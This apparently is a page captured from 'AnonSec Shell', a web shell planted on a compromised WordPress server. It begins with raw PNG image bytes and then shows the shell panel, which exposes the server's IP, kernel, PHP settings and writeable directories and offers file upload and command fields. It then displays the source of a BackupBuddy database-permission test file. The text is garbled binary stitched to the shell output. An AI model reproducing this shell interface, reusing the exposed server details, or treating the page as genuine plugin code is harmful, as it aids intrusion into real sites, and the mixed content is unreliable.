‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/backupbuddy/_importbuddy/importbuddy/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/backupbuddy/_importbuddy/importbuddy/classes/test-db.php
<?php
/**
 * BackupBuddy ImportBuddy class for testing DB permissions
 *
 * @package BackupBuddy
 * @subpackage ImportBuddy
 * @since 6.4.0.13
 */

/**
 * DB Permission Tests
 *
 * @package BackupBuddy
 * @subpackage ImportBuddy
 * @since 6.4.0.13
 */
class importbuddy_test_db{

	/**
	 * DB Credentials passed via form
	 * @access private
	 * @var array
	 */
	private $creds = array();

	/**
	 * WordPress Database Class
	 *
	 * @since 6.4.0.13
	 * @access public
	 * @var object
	 */
	var $wpdb;

	/**
	 * @since 6.4.0.13
	 * @access public
	 * @var array
	 */
	var $tests = array();

	/**
	 * Class constructor sets up the environment
	 *
	 * @since 6.4.0.13
	 *
	 * @return void
	 */
	function __construct() {

		// Register the tests
		$this->register_tests();

		// Grab the DB credentials from POST
		$creds             = array();
		$creds['server']   = pb_backupbuddy::_POST( 'server' );
		$creds['username'] = pb_backupbuddy::_POST( 'username' );
		$creds['password'] = pb_backupbuddy::_POST( 'password' );
		$creds['database'] = pb_backupbuddy::_POST( 'database' );
		$creds['prefix']   = pb_backupbuddy::_POST( 'prefix' );

		// If we don't have all the fields, die with error
		if ( ( '' == $creds['server'] ) || ( '' == $creds['username'] ) || ( '' == $creds['database'] ) || ( '' == $creds['prefix'] ) ) {
			$this->tests['overall_error'] = 'One or more database settings was left blank. All fields except optional password are required.';
			die( json_encode( $this->tests ) );
		}

		$this->creds = $creds;

		// Run the tests, one at a time
		$this->run_tests();
	}

	/**
	 * Sets the array of tests that we will run with their default values
	 *
	 * @since 6.4.0.13
	 *
	 * @return void
	 */
	function register_tests() {

		// Tests variables to populate with results.
		$this->tests = array(
			'connect'               => false,   // Able to connect & login to db server?
			'connect_error'         => '',      // mysql error message in response to connect & login (if any).
			'selectdb'              => false,   // Able to select the database?
			'selectdb_error'        => '',      // mysql error message in response to selecting (if any).
			'createdroptable'       => false,   // ability to CREATE a new table (and delete it).
			'createdroptable_error' => '',      // create table mysql error (if any).
			'prefix'                => false,   // Whether or not prefix meets the bare minimum to be accepted.
			'prefix_exists'         => true,    // WordPress tables matching prefix found?
			'prefix_warn'           => true,    // Warn if prefix of a bad format.
			'overall_error'         => '',      // Overall error of the test. If missing fields then this will be what errors about missing field(s).
		);
	}

	/**
	 * Uses the tests array to call tests individually
	 *
	 * @since 6.4.0.13
	 *
	 * @return void
	 */
	function run_tests() {
		// Loop through array of tests, only calling ones where function exists
		foreach ( $this->tests as $test => $result ) {
			if ( is_callable( array( $this, 'test_' . $test ) ) && empty( $this->tests[$test] ) ) {
				call_user_func( array( $this, 'test_' . $test ) );
			}
		}

		die( json_encode( $this->tests ) );
	}

	/**
	 * Test for DB Connect and DB Select
	 *
	 * @since 6.4.0.13
	 *
	 * @return void
	 */
	 function test_connect() {
		require_once( ABSPATH . 'importbuddy/classes/wp-db.php' );
		global $wpdb;
		$this->wpdb = new wpdb( $this->creds['username'], $this->creds['password'], $this->creds['database'], $this->creds['server'] );
		if ( ( false === $this->wpdb->dbh ) || ( null === $this->wpdb->dbh ) ){
			if ( empty( $this->wpdb->use_mysqli ) ) {
				$mysql_error = @mysql_error( $this->wpdb->dbh );
			} else {
				$mysql_error = @mysqli_error( $this->wpdb->dbh );
			}
			$this->tests['connect_error'] = 'Unable to connect to database server and/or select the database. Details: `' . $mysql_error . '`.';
			die( json_encode( $this->tests ) );
		}
		$this->tests['connect'] = true;
		$this->tests['selectdb'] = true;
	}

	/**
	 * Tests the ability to create and drop a table
	 *
	 * @since 6.4.0.13
	 *
	 * @return void
	 */
	function test_createdroptable() {
		// Make sure we've already connected. This should never run unless someone calls it manually again.
		if ( empty( $this->tests['connect'] ) ) {
			$this->test_connect();
		}

		// Escape prefix manually since we can't use $wpdb->prefix and $wpdb->prepare adds single quotes
		if ( empty( $this->wpdb->use_mysqli ) ) {
			$prefix = mysql_real_escape_string( $this->creds['prefix'] );
		} else {
			$prefix = mysqli_real_escape_string( $this->wpdb->dbh, $this->creds['prefix'] );
		}

		// Try to drop test table in event previous attempt failed. Not a part of the test. NOTE: This throws an error to the PHP error log if wpdb logging enabled unless errors are suppressed.
		$this->wpdb->suppress_errors( true ); // Hide errors if this test fails since we have logging on by default.
		$drop_test_table = 'DROP TABLE ' . $prefix . 'buddy_test';
		$this->wpdb->query( $drop_test_table );
		$this->wpdb->suppress_errors( false );

		// Attempt to create the test table
		$create_test_table = 'CREATE TABLE ' . $prefix . 'buddy_test (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY);';
		if ( FALSE !== $this->wpdb->query( $create_test_table ) ) {
			// Drop temp test table we created before we declare success.
			if ( FALSE !== $this->wpdb->query( $drop_test_table ) ) {
				$this->tests['createdroptable'] = true;
			} else { // drop failed.
				if ( empty( $this->wpdb->use_mysqli ) ) {
					$mysql_errno = mysql_errno( $this->wpdb->dbh );
				} else {
					$mysql_errno = mysqli_errno( $this->wpdb->dbh );
				}
				$this->tests['createdroptable_error'] = 'Unable to delete temporary table. ' . $this->wpdb->last_error . ' - ErrorNo: `' . $mysql_errno . '`.';
			}
		}
	}

	/**
	 * Tests for existing tables with the same prefix
	 *
	 * @since 6.4.0.13
	 */
	public function test_prefix() {
		// Make sure we've already connected. This should never be true.
		if ( empty( $this->tests['connect'] ) ) {
			$this->test_connect();
		}

		// WordPress tables exist matching prefix?
		$prefix_exists_sql = $this->wpdb->prepare( "SHOW TABLES LIKE '%s';", str_replace( '_', '\_', $this->creds['prefix'] ) . "%" );
		$result            = $this->wpdb->get_results( $prefix_exists_sql );
		if ( empty( $result ) ) { // WordPress prefix does not exist.
			$this->tests['prefix_exists'] = false;
		}

		// Make sure prefix meets wp standards.
		if ( ! preg_match( '|[^a-z0-9_]|i', $this->creds['prefix'] ) ) { // Prefix meets WP standards.
			$this->tests['prefix'] = true;
			if ( preg_match( '/^[a-z0-9]+((_[a-z0-9]+)?)+?_$/i', $this->creds['prefix'] ) ) { // Prefix passes with no warning.
				$this->tests['prefix_warn'] = false;
			} else {
				$this->tests['prefix_warn'] = true;
			}
		}

	}
}

Anon7 - 2022
AnonSec Team